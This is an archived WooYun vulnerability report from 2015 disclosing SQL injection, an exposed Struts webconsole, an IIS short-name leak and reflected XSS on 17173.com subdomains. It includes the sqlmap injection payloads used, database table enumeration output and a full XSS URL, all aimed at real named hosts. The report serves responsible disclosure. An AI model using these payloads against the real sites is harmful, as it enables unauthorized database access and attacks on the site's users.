当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115621

漏洞标题:17173某重要分站站漏洞大礼包(SQL注入DBA权限)

相关厂商:17173游戏

漏洞作者: ca1n

提交时间:2015-05-24 21:21

修复时间:2015-07-10 18:44

公开时间:2015-07-10 18:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-24: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经确认,细节仅向厂商公开
2015-06-05: 细节向核心白帽子及相关领域专家公开
2015-06-15: 细节向普通白帽子公开
2015-06-25: 细节向实习白帽子公开
2015-07-10: 细节向公众公开

简要描述:

人若无名 苦心练剑

详细说明:

0x01:POST型注入
gc.17173.com/GameDetail
id=39


1.png


0x02:POST型注入
http://gc.17173.com/Lessons
type=2


2.png

Parameter: id (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (2699=2699) THEN 2699 ELSE 2699*(SELECT 2699
FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))FSup)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7a71,0x4a57574954504
3697a6b,0x716a6a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[21:24:52] [INFO] testing MySQL
[21:24:52] [INFO] confirming MySQL
[21:24:52] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0.0
[21:24:52] [INFO] fetching tables for database: 'GC_DATA'
[21:24:52] [INFO] the SQL query used returns 56 entries
Database: GC_DATA
[56 tables]
+----------------------------+
| DT_BAT_DOWNLOAD |
| DT_COM_AREA |
| DT_COM_CONFIG |
| DT_COM_COUNTRY |
| DT_COM_DEVICE |
| DT_COM_DEVICE_CONFIG |
| DT_COM_PROVINCE |
| DT_COM_SCHOOL |
| DT_COM_VENDOR |
| DT_ENL_WX_KEYWORD |
| DT_ENL_WX_MENU |
| DT_ENL_WX_REPLY |
| DT_ENL_WX_REPLY_ITEM |
| DT_ENL_WX_REPLY_KEYWORD |
| DT_LGC_ACTIVITY |
| DT_LGC_BOUNTY |
| DT_LGC_EVENT |
| DT_LGC_FEEDBACK |
| DT_LGC_GOODS |
| DT_LGC_GUIDE |


0x03: webconsole未授权访问
http://220.181.143.170:81//struts/webconsole.html


0x04: iis短域名漏洞http://chibi.db.17173.com

3.png


0x05: 反射型xss
http://gc.17173.com/web/reward/Reward.wa?do=--%3E%27%22%3E%3Csvg/onload=alert(1)%3E%3CH1%3EXSS%40HERE%3C%2FH1%3E&id=2

漏洞证明:

修复方案:

你们应该比较懂..

版权声明:转载请注明来源 ca1n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-05-26 18:44

厂商回复:

谢谢支持!!

最新状态:

暂无


漏洞评价:

评论